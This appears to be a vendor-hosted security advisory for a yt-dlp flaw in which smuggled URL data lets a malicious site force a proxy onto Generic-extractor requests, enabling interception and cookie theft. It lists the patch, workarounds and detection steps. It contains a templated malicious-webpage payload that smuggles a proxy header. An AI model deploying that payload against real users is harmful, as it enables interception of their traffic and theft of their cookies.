GHSA-3ch3-jhc6-5r8x is a medium-severity (CVSS 5) CWE-444 vulnerability in yt-dlp. A fix is available for yt-dlp — see the affected versions and patch details below.
yt-dlp Generic Extractor MITM Vulnerability via Arbitrary Proxy Injection
Exploitation Status
No confirmed exploitation observed yet
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-3ch3-jhc6-5r8x.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-3ch3-jhc6-5r8x plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
yt-dlpReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Impact
The Generic Extractor in yt-dlp is vulnerable to an attacker setting an arbitrary proxy for a request to an arbitrary url, allowing the attacker to MITM the request made from yt-dlp's HTTP session. This could lead to cookie exfiltration in some cases.
<details>To pass extra control data between extractors (such as headers like Referer), yt-dlp employs a concept of "url smuggling". This works by adding this extra data as json to the url fragment ("smuggling") that is then passed on to an extractor. The receiving extractor then "unsmuggles" the data from the input url. This functionality is intended to be internal only.
Currently, the Generic extractor supports receiving an arbitrary dictionary of HTTP headers in a smuggled url, of which it extracts and adds them to the initial request it makes to such url. This is useful when a url sent to the Generic extractor needs a Referer header sent with it, for example.
Additionally, yt-dlp has internal headers to set a proxy for a request: Ytdl-request-proxy and Ytdl-socks-proxy. While these are deprecated, internally Ytdl-request-proxy is still used for --geo-verification-proxy.
However, it is possible for a maliciously crafted site include these smuggled options in a url which then the Generic extractor extracts and redirects to itself. This allows a malicious website to set an arbitrary proxy for an arbitrary url that the Generic extractor will request.
This could allow for the following, but not limited too:
- An attacker can MITM a request it asks yt-dlp to make to any website.
- If a user has loaded cookies into yt-dlp for the target site, which are not marked as secure, they could be exfiltrated by the attacker.
- Fortunately most sites are HTTPS and should be setting cookies as secure.
- An attacker can set cookies for an arbitrary site.
An example malicious webpage:
<!DOCTYPE html>
<cinerama.embedPlayer('t','{{ target_site }}#__youtubedl_smuggle=%7B%22http_headers%22:%7B%22Ytdl-request-proxy%22:%22{{ proxy url }}%22%7D,%22fake%22:%22.smil/manifest%22%7D')
Where {{ target_site }} is the URL Generic extractor will request and {{ proxy url }} is the proxy to proxy the request for this url through.
Patches
- We have removed the ability to smuggle
http_headersto the Generic extractor, as well as other extractors that use the same pattern.
Workarounds
- Disable Generic extractor (
--ies default,-generic), or only pass trusted sites with trusted content. - Take caution when using
--no-check-certificate.
References
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | yt-dlp | ≥ 2022.10.04&&< 2023.11.14 | 2023.11.14pip install --upgrade 'yt-dlp==2023.11.14' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for yt-dlp, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update yt-dlp to 2023.11.14 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-3ch3-jhc6-5r8x is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-3ch3-jhc6-5r8x can be triaged on real exposure rather than presence alone.
Tailored to GHSA-3ch3-jhc6-5r8x. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-3ch3-jhc6-5r8x in your dependencies?
O3 Security finds GHSA-3ch3-jhc6-5r8x across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.